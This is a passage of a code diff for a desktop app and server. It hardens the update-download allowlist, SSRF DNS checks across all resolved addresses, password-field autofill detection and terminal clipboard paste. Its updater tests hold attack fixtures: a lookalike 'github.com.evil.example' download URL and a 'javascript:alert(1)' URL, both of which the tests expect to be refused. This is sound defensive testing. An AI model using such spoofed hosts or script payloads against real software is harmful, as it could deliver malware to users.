' - url: https://github.com.evil.example/simstudioai/sim/releases/download/v9.9.9/Sim.dmg',
' sha512: def',
"releaseDate: '2026-07-23T00:00:00.000Z'",
].join('\n')
const { handle } = await createManualUpdater(async () => offHost)
handle.check()
await vi.advanceTimersByTimeAsync(0)
expect(handle.getState()).toMatchObject({ status: 'error', manual: true })
handle.check()
handle.install()
expect(shell.openExternal).not.toHaveBeenCalled()
})
it('skips an unusable url but still offers a safe one from the same manifest', async () => {
const mixed = [
'version: 9.9.9',
'files:',
' - url: javascript:alert(1)//Sim-9.9.9-universal.dmg',
' sha512: abc',
' - url: https://github.com/simstudioai/sim/releases/download/v9.9.9/Sim-9.9.9-universal.dmg',
' sha512: def',
"releaseDate: '2026-07-23T00:00:00.000Z'",
].join('\n')
const { handle } = await createManualUpdater(async () => mixed)
handle.check()
await vi.advanceTimersByTimeAsync(0)
expect(handle.getState()).toEqual({ status: 'available', version: '9.9.9', manual: true })
handle.check()
expect(shell.openExternal).toHaveBeenCalledWith(
'https://github.com/simstudioai/sim/releases/download/v9.9.9/Sim-9.9.9-universal.dmg'
)
})
it('stays idle when the feed version is not newer', async () => {
const { handle } = await createManualUpdater(async () => manifest(app.getVersion()))
handle.check()
+49 -3
View File
@@ -3,7 +3,8 @@ import type { DesktopUpdateState } from '@sim/desktop-bridge'
import { createLogger } from '@sim/logger'
import { getErrorMessage } from '@sim/utils/errors'
import type { BrowserWindow } from 'electron'
import { app, dialog, net, shell } from 'electron'
import { app, dialog, net } from 'electron'
import { isSafeExternalUrl, openExternalSafe } from '@/main/navigation'
import type { EventRecorder } from '@/main/observability'
const logger = createLogger('DesktopUpdater')
@@ -32,6 +33,28 @@ export function feedUrlForOrigin(origin: string): string | null {
}
}
/**
* Where the feed rewrites every manifest entry to. Downloads are constrained to
* this prefix rather than to https alone, so a feed that serves an attacker's
* host cannot get a bundle in front of the user's Download button.
*/
const RELEASE_ASSET_ORIGIN = 'https://github.com'
const RELEASE_ASSET_PATH = '/simstudioai/sim/releases/download/'
/** Whether a manifest url is one of our own release assets. */
function isReleaseAssetUrl(rawUrl: string): boolean {
if (!isSafeExternalUrl(rawUrl)) return false
try {
const url = new URL(rawUrl)
// Compared on the parsed origin and the parsed pathname, never by prefix on
// the raw string: `https://github.com.evil.example/…` must not pass, and
// `URL` has already normalized away any `..` segments by this point.
return url.origin === RELEASE_ASSET_ORIGIN && url.pathname.startsWith(RELEASE_ASSET_PATH)
} catch {
return false
}
}
/**
* Maps the running version to its update channel: prerelease builds follow
* their prerelease channel, stable builds only ever see stable releases.
@@ -434,12 +457,32 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle {
}
// The feed rewrites manifest urls to absolute GitHub asset URLs;
// prefer the dmg for a human download.
const urls = Array.from(manifest.matchAll(/^\s*(?:-\s*)?url:\s*(\S+)\s*$/gm), (m) => m[1])
//
// Filtered before selection, not just before opening: the manifest is
// whatever the configured origin served, so `smb://…/x.dmg` or a bare
// `file:///…` would otherwise pass the suffix test and be advertised as
// an available update.
const urls = Array.from(
manifest.matchAll(/^\s*(?:-\s*)?url:\s*(\S+)\s*$/gm),
(m) => m[1]
).filter(isReleaseAssetUrl)
downloadUrl =
urls.find((url) => url.endsWith('.dmg')) ??
urls.find((url) => url.endsWith('.zip')) ??
urls[0] ??
null
if (!downloadUrl) {
// 'error', not 'idle': a newer version demonstrably exists and cannot
// be offered, so "Sim is up to date" would strand a user whose shell
// the server's minimum-version gate is already blocking.
logger.warn('Update manifest had no usable download url', {
version,
candidates: urls.length,
})
deps.events.record('update_blocked_version', { version, reason: 'unusable-url' })
setState({ status: 'error', version: state.version, manual: true })
return
}
deps.events.record('update_check', { available: version, manual: true })
setState({ status: 'available', version, manual: true })
} catch (error) {
@@ -451,7 +494,10 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle {
const openDownload = () => {
if (downloadUrl) {
deps.events.record('update_manual_download', { url: downloadUrl })
void shell.openExternal(downloadUrl)
// Through openExternalSafe like every other external open in the app,
// so the allowlist is enforced at the sink and not only where the url
// was chosen. No loopback exemption: every legitimate asset is https.
void openExternalSafe(downloadUrl)
}
}
+18 -4
View File
@@ -38,6 +38,20 @@ function isFillable(field: HTMLInputElement): boolean {
return rect.width > 0 && rect.height > 0
}
/**
* The field's `autocomplete` tokens.
*
* Token membership, not whole-string equality: the spec allows space-separated
* detail tokens and WebAuthn recommends `current-password webauthn`. Equality
* here while the agent guards split tokens would leave fill blind to exactly
* the fields they protect.
*/
function autocompleteTokens(field: HTMLInputElement): string[] {
return String(field.getAttribute('autocomplete') || '')
.toLowerCase()
.split(/\s+/)
}
/**
* Matches the same definition the agent guards use: a reveal toggle flips a
* password field to `type="text"` without making it any less secret, and the
@@ -45,8 +59,8 @@ function isFillable(field: HTMLInputElement): boolean {
*/
function isPasswordField(field: HTMLInputElement): boolean {
if (String(field.type || '').toLowerCase() === 'password') return true
const hint = String(field.getAttribute('autocomplete') || '').toLowerCase()
return hint === 'current-password' || hint === 'new-password'
const tokens = autocompleteTokens(field)
return tokens.includes('current-password') || tokens.includes('new-password')
}
function findPasswordField(): HTMLInputElement | null {
@@ -88,8 +102,8 @@ function findUsernameField(password: HTMLInputElement): HTMLInputElement | null
function findIdentifierField(): HTMLInputElement | null {
for (const field of document.querySelectorAll('input')) {
if (!isFillable(field)) continue
const hint = String(field.getAttribute('autocomplete') || '').toLowerCase()
if (hint === 'username' || hint === 'email') return field
const tokens = autocompleteTokens(field)
if (tokens.includes('username') || tokens.includes('email')) return field
if (String(field.type || '').toLowerCase() === 'email') return field
}
return null
+2
View File
@@ -303,6 +303,8 @@ const api: SimDesktopApi = {
write: (terminalId: string, data: string): void => {
ipcRenderer.send('terminal:write', terminalId, data)
},
paste: (terminalId: string): Promise<boolean> =>
ipcRenderer.invoke('terminal:paste', terminalId),
resize: (terminalId: string, cols: number, rows: number): void => {
ipcRenderer.send('terminal:resize', terminalId, cols, rows)
},
+1
View File
@@ -53,6 +53,7 @@ export const safeStorage = {
export const clipboard = {
writeText: vi.fn(),
readText: vi.fn(() => ''),
}
export const nativeTheme = {
+8 -6
View File
@@ -1,4 +1,3 @@
import dns from 'dns/promises'
import type {
FileAttributes,
Item,
@@ -12,6 +11,7 @@ import type {
Website,
} from '@1password/sdk'
import { createLogger } from '@sim/logger'
import { resolveHostAddresses } from '@sim/security/dns'
import { isPrivateIp, unwrapIpv6Brackets } from '@sim/security/ssrf'
import { toError } from '@sim/utils/errors'
import { generateId } from '@sim/utils/id'
@@ -312,12 +312,12 @@ export async function validateConnectServerUrl(serverUrl: string): Promise<strin
return clean
}
let addresses: string[]
let address: string
try {
// Prefer IPv4: pinning strips Happy Eyeballs' fallback, and a pinned IPv6 address hangs
// on IPv4-only egress (e.g. AWS NAT gateways).
const resolved = await dns.lookup(clean, { all: true, verbatim: true })
address = (resolved.find((entry) => entry.family === 4) ?? resolved[0]).address
const resolved = await resolveHostAddresses(clean)
addresses = resolved.addresses
address = resolved.preferred
} catch (error) {
connectLogger.warn('DNS lookup failed for 1Password Connect server URL', {
hostname: clean,
@@ -326,7 +326,9 @@ export async function validateConnectServerUrl(serverUrl: string): Promise<strin
throw new Error('1Password server URL hostname could not be resolved')
}
assertConnectIpAllowed(address, clean)
for (const candidate of addresses) {
assertConnectIpAllowed(candidate, clean)
}
return address
}
@@ -29,6 +29,7 @@ import {
getTerminalScrollback,
onTerminalData,
openTerminal,
pasteIntoTerminal,
reportTerminalFocused,
resizeTerminal,
startTerminalSession,
@@ -508,20 +509,27 @@ const TerminalView = memo(function TerminalView({
}, [])
const pasteClipboard = useCallback(() => {
void navigator.clipboard
.readText()
.then((text) => {
void (async () => {
// Main-side first: it reads the clipboard synchronously, so the paste
// cannot be refused for want of a recent gesture the way an awaited
// renderer read can.
if (await pasteIntoTerminal(terminalId)) {
terminalRef.current?.focus()
return
}
try {
const text = await navigator.clipboard.readText()
if (!text) return
// Straight to the PTY: the shell echoes it, exactly like a real paste.
writeToTerminal(terminalId, text)
terminalRef.current?.focus()
})
.catch(() => {
} catch {
// Reading the clipboard needs a permission the shell grants to its own
// origin; an older shell that predates that grant denies it. Keyboard
// paste is a native paste event and keeps working either way.
toast.error('Could not read the clipboard. Press ⌘V to paste.')
})
}
})()
}, [terminalId])
const clearScreen = useCallback(() => {
@@ -0,0 +1,99 @@
/**
* @vitest-environment node
*/
import { beforeEach, describe, expect, it, vi } from 'vitest'
const { mockResolve } = vi.hoisted(() => ({ mockResolve: vi.fn() }))
vi.mock('@sim/security/dns', () => ({
resolveHostAddresses: mockResolve,
preferIpv4: (addresses: string[]) =>
addresses.find((address) => address.includes('.')) ?? addresses[0],
}))
vi.mock('@/lib/core/config/env-flags', () => ({
isHosted: false,
isPrivateDatabaseHostsAllowed: false,
getProxyUrl: () => undefined,
}))
import { validateUrlWithDNS } from '@/lib/core/security/input-validation.server'
/**
* Shapes a resolver answer the way `resolveHostAddresses` does, including its
* IPv4-first preference — so `preferred` can differ from `addresses[0]`, which
* is the whole reason the field exists.
*/
function resolved(addresses: string[]) {
const preferred = addresses.find((address) => address.includes('.')) ?? addresses[0]
return { addresses, preferred }
}
describe('validateUrlWithDNS address classification', () => {
beforeEach(() => {
vi.clearAllMocks()
})
it('drops a private co-record and pins the public one', async () => {
// The gap this closes: one address used to be classified, so which record
// got judged was a matter of resolver order.
mockResolve.mockResolvedValue(resolved(['93.184.216.34', '10.0.0.5']))
const result = await validateUrlWithDNS('https://mixed.example/api')
expect(result.isValid).toBe(true)
expect(result.resolvedIP).toBe('93.184.216.34')
})
it('rejects when every record is private', async () => {
mockResolve.mockResolvedValue(resolved(['10.0.0.5', '192.168.1.9']))
const result = await validateUrlWithDNS('https://internal.example/api')
expect(result.isValid).toBe(false)
expect(result.error).toContain('blocked IP address')
})
it('never pins an address the filter refused', async () => {
// The private record sorts first AND is the IPv4 one, so a pin taken from
// the unfiltered set would land on 10.0.0.5.
mockResolve.mockResolvedValue(resolved(['10.0.0.5', '2606:2800:220:1::248']))
const result = await validateUrlWithDNS('https://mixed.example/api')
expect(result.isValid).toBe(true)
expect(result.resolvedIP).toBe('2606:2800:220:1::248')
})
it('accepts a host whose every record is public, pinning the preferred one', async () => {
mockResolve.mockResolvedValue(resolved(['93.184.216.34', '93.184.216.35']))
const result = await validateUrlWithDNS('https://example.com/api')
expect(result.isValid).toBe(true)
expect(result.resolvedIP).toBe('93.184.216.34')
})
it('keeps the self-hosted localhost carve-out when every record is loopback', async () => {
mockResolve.mockResolvedValue(resolved(['127.0.0.1', '::1']))
expect((await validateUrlWithDNS('https://localhost/api')).isValid).toBe(true)
})
it('drops an off-loopback record from localhost rather than pinning it', async () => {
// The carve-out covers loopback only, so the LAN record is filtered out and
// the pin stays on the machine the carve-out was written for.
mockResolve.mockResolvedValue(resolved(['127.0.0.1', '10.0.0.5']))
const result = await validateUrlWithDNS('https://localhost/api')
expect(result.isValid).toBe(true)
expect(result.resolvedIP).toBe('127.0.0.1')
})
it('reports an unresolvable host rather than treating it as public', async () => {
mockResolve.mockRejectedValue(new Error('ENOTFOUND'))
expect((await validateUrlWithDNS('https://missing.example/api')).isValid).toBe(false)
})
})
@@ -1,10 +1,11 @@
import dns from 'node:dns/promises'
import { Readable } from 'node:stream'
import zlib from 'node:zlib'
import dns from 'dns/promises'
import http from 'http'
import https from 'https'
import type { LookupFunction } from 'net'
import { createLogger } from '@sim/logger'
import { preferIpv4, resolveHostAddresses } from '@sim/security/dns'
import { isLoopbackIp, isPrivateIp, isPrivateIpHost, unwrapIpv6Brackets } from '@sim/security/ssrf'
import { toError } from '@sim/utils/errors'
import { omit } from '@sim/utils/object'
@@ -65,19 +66,21 @@ export async function validateUrlWithDNS(
const isLocalhost = cleanHostname === 'localhost' || isLoopbackIp(cleanHostname)
try {
// Prefer IPv4: pinning strips Happy Eyeballs' fallback, and a pinned IPv6 address hangs
// on IPv4-only egress (e.g. AWS NAT gateways) — still-pinned consumers (providers, SSO,
// A2A) depend on this ordering.
const resolved = await dns.lookup(cleanHostname, { all: true, verbatim: true })
const { address } = resolved.find((entry) => entry.family === 4) ?? resolved[0]
// Refused records are filtered rather than failing the whole host, matching
// createSsrfGuardedLookup below. Pinning to a surviving public address is
// just as safe as refusing outright, and rejecting the host would break a
// split-horizon resolver that answers with a private record alongside the
// public one — with no operator opt-out on this path.
const { addresses } = await resolveHostAddresses(cleanHostname)
const usable = addresses.filter(
(address) => !isPrivateIp(address) || (isLocalhost && !isHosted && isLoopbackIp(address))
)
const resolvedIsLoopback = isLoopbackIp(address)
if (isPrivateIp(address) && !(isLocalhost && resolvedIsLoopback && !isHosted)) {
if (usable.length === 0) {
logger.warn('URL resolves to blocked IP address', {
paramName,
hostname,
resolvedIP: address,
resolvedIP: addresses.find((address) => isPrivateIp(address)),
})
return {
isValid: false,
@@ -87,7 +90,9 @@ export async function validateUrlWithDNS(
return {
isValid: true,
resolvedIP: address,
// Re-preferred over the surviving set so the pin is never an address the
// filter above just refused.
resolvedIP: preferIpv4(usable as [string, ...string[]]),
originalHostname: hostname,
}
} catch (error) {
@@ -206,16 +211,16 @@ export async function validateDatabaseHost(
}
try {
// Prefer IPv4: pinning strips Happy Eyeballs' fallback, and a pinned IPv6 address hangs
// on IPv4-only egress (e.g. AWS NAT gateways).
const resolved = await dns.lookup(cleanHost, { all: true, verbatim: true })
const { address } = resolved.find((entry) => entry.family === 4) ?? resolved[0]
const { addresses, preferred } = await resolveHostAddresses(cleanHost)
const blockedAddress = isPrivateDatabaseHostsAllowed
? undefined
: addresses.find((candidate) => isPrivateIp(candidate))
if (isPrivateIp(address) && !isPrivateDatabaseHostsAllowed) {
if (blockedAddress !== undefined) {
logger.warn('Database host resolves to blocked IP address', {
paramName,
hostname: host,
resolvedIP: address,
resolvedIP: blockedAddress,
})
return {
isValid: false,
@@ -225,7 +230,7 @@ export async function validateDatabaseHost(
return {
isValid: true,
resolvedIP: address,
resolvedIP: preferred,
originalHostname: host,
}
} catch (error) {
@@ -487,10 +492,7 @@ function assertGuardedRedirectTarget(url: URL, allowedPinnedIp?: string): void {
if (url.protocol !== 'http:' && url.protocol !== 'https:') {
throw new Error(`Blocked by SSRF policy: redirect to unsupported protocol ${url.protocol}`)
}
const host =
url.hostname.startsWith('[') && url.hostname.endsWith(']')
? url.hostname.slice(1, -1)
: url.hostname
const host = unwrapIpv6Brackets(url.hostname)
if (ipaddr.isValid(host) && isPrivateIp(host)) {
// The pinned-private carve-out permits exactly its own validated IP as a target (a
// self-hosted MCP on a private IP, or a same-host redirect that stays on it) — but nothing
+18 -16
View File
@@ -1,5 +1,5 @@
import dns from 'dns/promises'
import { createLogger } from '@sim/logger'
import { resolveHostAddresses } from '@sim/security/dns'
import { isIpLiteral, isLoopbackIp, isPrivateIp, unwrapIpv6Brackets } from '@sim/security/ssrf'
import { toError } from '@sim/utils/errors'
import { getAllowedMcpDomainsFromEnv, isHosted } from '@/lib/core/config/env-flags'
@@ -172,12 +172,12 @@ export async function validateMcpServerSsrf(url: string | undefined): Promise<st
return cleanHostname
}
let addresses: string[]
let address: string
try {
// Prefer IPv4: pinning strips Happy Eyeballs' fallback, and a pinned IPv6 address
// (which `verbatim` returns first for dual-stack hosts) hangs on IPv4-only egress.
const resolved = await dns.lookup(cleanHostname, { all: true, verbatim: true })
address = (resolved.find((entry) => entry.family === 4) ?? resolved[0]).address
const resolved = await resolveHostAddresses(cleanHostname)
addresses = resolved.addresses
address = resolved.preferred
} catch (error) {
logger.warn('DNS lookup failed for MCP server URL', {
hostname,
@@ -186,20 +186,22 @@ export async function validateMcpServerSsrf(url: string | undefined): Promise<st
throw new McpDnsResolutionError(cleanHostname)
}
if (isLoopbackIp(address)) {
if (isHosted) {
logger.warn('MCP server URL resolves to loopback address', {
for (const candidate of addresses) {
if (isLoopbackIp(candidate)) {
if (isHosted) {
logger.warn('MCP server URL resolves to loopback address', {
hostname,
resolvedIP: candidate,
})
throw new McpSsrfError('MCP server URL resolves to a loopback address')
}
} else if (isPrivateIp(candidate)) {
logger.warn('MCP server URL resolves to blocked IP address', {
hostname,
resolvedIP: address,
resolvedIP: candidate,
})
throw new McpSsrfError('MCP server URL resolves to a loopback address')
throw new McpSsrfError('MCP server URL resolves to a blocked IP address')
}
} else if (isPrivateIp(address)) {
logger.warn('MCP server URL resolves to blocked IP address', {
hostname,
resolvedIP: address,
})
throw new McpSsrfError('MCP server URL resolves to a blocked IP address')
}
return address
+17
View File
@@ -125,6 +125,23 @@ export function writeToTerminal(terminalId: string, data: string): void {
bridge()?.write(terminalId, data)
}
/**
* Pastes the system clipboard into a terminal, reading it in the main process
* when the shell can.
*
* Returns false when this shell predates `paste`, so the caller can fall back to
* reading the clipboard itself. Main-side is preferred for two reasons: the read
* is synchronous there, so there is no window in which the paste can be refused
* for want of a recent gesture, and the renderer never touches the clipboard —
* which is the direction Electron itself took when it removed the `clipboard`
* module from renderers.
*/
export async function pasteIntoTerminal(terminalId: string): Promise<boolean> {
const paste = bridge()?.paste
if (!paste) return false
return paste(terminalId)
}
export function resizeTerminal(terminalId: string, cols: number, rows: number): void {
bridge()?.resize(terminalId, cols, rows)
}
+13
View File
@@ -52,6 +52,19 @@ export interface SimDesktopTerminalApi {
): Promise<TerminalToolResponse>
/** Forward the user's keystrokes to one terminal's PTY. */
write(terminalId: string, data: string): void
/**
* Paste the system clipboard into one terminal's PTY.
*
* The text is read in the main process rather than handed over by the caller:
* Electron removed the `clipboard` module from renderers precisely so page
* content cannot reach the clipboard, and it means a compromised renderer can
* only replay what the user already copied instead of choosing the bytes.
* Resolves false when the clipboard held nothing to paste.
*
* Optional: shells that predate it fall back to reading the clipboard in the
* renderer.
*/
paste?(terminalId: string): Promise<boolean>
resize(terminalId: string, cols: number, rows: number): void
/** Open an additional terminal and make it active. */
openTerminal(cwd?: string): Promise<TerminalTabsState>
+4
View File
@@ -14,6 +14,10 @@
"types": "./src/compare.ts",
"default": "./src/compare.ts"
},
"./dns": {
"types": "./src/dns.ts",
"default": "./src/dns.ts"
},
"./encryption": {
"types": "./src/encryption.ts",
"default": "./src/encryption.ts"
+131
View File
@@ -0,0 +1,131 @@
import { beforeEach, describe, expect, it, vi } from 'vitest'
const { mockLookup } = vi.hoisted(() => ({ mockLookup: vi.fn() }))
vi.mock('node:dns/promises', () => ({
default: { lookup: mockLookup },
}))
import { DnsTimeoutError, resolveHostAddresses } from './dns'
describe('resolveHostAddresses', () => {
beforeEach(() => {
vi.clearAllMocks()
})
it('returns every address, not just the one worth pinning', async () => {
mockLookup.mockResolvedValue([
{ address: '93.184.216.34', family: 4 },
{ address: '10.0.0.5', family: 4 },
])
const resolved = await resolveHostAddresses('mixed.example')
expect(resolved.addresses).toEqual(['93.184.216.34', '10.0.0.5'])
})
it('prefers IPv4 for the pinnable address', async () => {
mockLookup.mockResolvedValue([
{ address: '2606:2800:220:1::248', family: 6 },
{ address: '93.184.216.34', family: 4 },
])
const resolved = await resolveHostAddresses('dual.example')
expect(resolved.preferred).toBe('93.184.216.34')
expect(resolved.addresses).toHaveLength(2)
})
it('falls back to the first address when there is no IPv4 record', async () => {
mockLookup.mockResolvedValue([{ address: '2606:2800:220:1::248', family: 6 }])
const resolved = await resolveHostAddresses('v6only.example')
expect(resolved.preferred).toBe('2606:2800:220:1::248')
})
it('rejects rather than returning nothing when the resolver answers empty', async () => {
mockLookup.mockResolvedValue([])
await expect(resolveHostAddresses('empty.example')).rejects.toThrow('No addresses')
})
it('rejects when the resolver fails', async () => {
mockLookup.mockRejectedValue(new Error('ENOTFOUND'))
await expect(resolveHostAddresses('missing.example')).rejects.toThrow('ENOTFOUND')
})
it('clears the deadline timer once the lookup succeeds', async () => {
// A leaked timer holds the event loop open for the full window and is
// invisible to every other assertion here.
vi.useFakeTimers()
try {
mockLookup.mockResolvedValue([{ address: '93.184.216.34', family: 4 }])
await resolveHostAddresses('example.com')
expect(vi.getTimerCount()).toBe(0)
} finally {
vi.useRealTimers()
}
})
it('swallows a lookup that rejects after the deadline already fired', async () => {
// Without the pre-race `.catch`, the loser of the race surfaces as an
// unhandled rejection well after the caller has moved on.
vi.useFakeTimers()
const unhandled = vi.fn()
process.on('unhandledRejection', unhandled)
try {
let failLookup: (error: Error) => void = () => {}
mockLookup.mockReturnValue(
new Promise((_resolve, reject) => {
failLookup = reject
})
)
const pending = resolveHostAddresses('slow.example', { timeoutMs: 1_000 })
const assertion = expect(pending).rejects.toThrow('timed out')
await vi.advanceTimersByTimeAsync(1_000)
await assertion
failLookup(new Error('ENOTFOUND'))
await vi.advanceTimersByTimeAsync(0)
await Promise.resolve()
expect(unhandled).not.toHaveBeenCalled()
} finally {
process.off('unhandledRejection', unhandled)
vi.useRealTimers()
}
})
it('rejects on the deadline instead of waiting for a hung resolver', async () => {
vi.useFakeTimers()
try {
mockLookup.mockReturnValue(new Promise(() => {}))
const pending = resolveHostAddresses('slow.example', { timeoutMs: 1_000 })
const assertion = expect(pending).rejects.toThrow('timed out')
await vi.advanceTimersByTimeAsync(1_000)
await assertion
} finally {
vi.useRealTimers()
}
})
it('reports a deadline distinctly from a missing host', async () => {
vi.useFakeTimers()
try {
mockLookup.mockReturnValue(new Promise(() => {}))
const pending = resolveHostAddresses('slow.example', { timeoutMs: 1_000 })
const assertion = expect(pending).rejects.toBeInstanceOf(DnsTimeoutError)
await vi.advanceTimersByTimeAsync(1_000)
await assertion
} finally {
vi.useRealTimers()
}
})
})
+106
View File
@@ -0,0 +1,106 @@
import dns from 'node:dns/promises'
import * as ipaddr from 'ipaddr.js'
/**
* Hard deadline on an SSRF-guard lookup.
*
* A guard that awaits a hung resolver holds its caller open — an HTTP handler,
* or a `webRequest` callback the browser is waiting on — so the lookup is
* bounded rather than left to the OS resolver's own retry schedule.
*/
export const DEFAULT_DNS_TIMEOUT_MS = 5_000
/**
* A resolver deadline rather than a missing host.
*
* Callers map both to the same user-facing message, but during a resolver
* outage every valid hostname would otherwise be reported as nonexistent with
* nothing in the logs telling the two apart.
*/
export class DnsTimeoutError extends Error {
readonly code = 'DNS_TIMEOUT'
constructor(host: string) {
super(`DNS lookup for ${host} timed out`)
this.name = 'DnsTimeoutError'
}
}
/**
* The address to connect to or pin, out of a set already judged acceptable.
*
* IPv4 first, for the reason described on {@link ResolvedHost.preferred}. Split
* out so a caller that narrows the set — dropping records its policy refuses —
* can re-apply the same preference to what is left instead of pinning an
* address it just rejected.
*/
export function preferIpv4(addresses: readonly [string, ...string[]]): string {
// IPv4.isValid rather than isValid + parse, which parses the string twice.
return addresses.find((address) => ipaddr.IPv4.isValid(address)) ?? addresses[0]
}
export interface ResolvedHost {
/**
* Every address the host resolves to.
*
* A guard must classify all of them. Checking one lets a host publishing both
* a public and a private record through whenever the public one happens to be
* picked, which is a matter of record order rather than of policy.
*/
addresses: string[]
/**
* The single address a caller should connect to or pin.
*
* IPv4 first: pinning strips Happy Eyeballs' fallback, so a pinned IPv6
* address hangs on IPv4-only egress (AWS NAT gateways, for one). Callers that
* pin depend on this ordering.
*/
preferred: string
}
/**
* Resolves a host for an SSRF guard: every address it points at, plus the one
* worth pinning, under a bounded deadline.
*
* Rejects when the host does not resolve or the deadline passes. Callers decide
* what that means — failing closed is right for a guard, but "unresolvable" and
* "resolves somewhere private" are different facts and some callers report them
* differently.
*/
export async function resolveHostAddresses(
host: string,
options: { timeoutMs?: number } = {}
): Promise<ResolvedHost> {
const { timeoutMs = DEFAULT_DNS_TIMEOUT_MS } = options
const lookup = dns.lookup(host, { all: true, verbatim: true })
// If the timeout wins the race the lookup stays pending; its eventual
// settlement is swallowed so a late rejection cannot surface as an unhandled
// one.
lookup.catch(() => {})
let timer: NodeJS.Timeout | undefined
try {
const resolved = await Promise.race([
lookup,
new Promise<never>((_, reject) => {
timer = setTimeout(() => reject(new DnsTimeoutError(host)), timeoutMs)
}),
])
if (resolved.length === 0) {
throw new Error(`No addresses for ${host}`)
}
const addresses = resolved.map((entry) => entry.address) as [string, ...string[]]
return {
addresses,
// Through preferIpv4 rather than re-derived from `entry.family`, so the
// rule has one implementation that callers narrowing the set also use.
preferred: preferIpv4(addresses),
// Resolver order is preserved (`verbatim: true`) because `preferred`
// applies the IPv4 preference itself, so the order here is informational.
// Deliberately unlike `createSsrfGuardedLookup` in apps/sim, which hands
// its full ordered list to undici to dial in turn and so wants
// `verbatim: false`.
}
} finally {
clearTimeout(timer)
}
}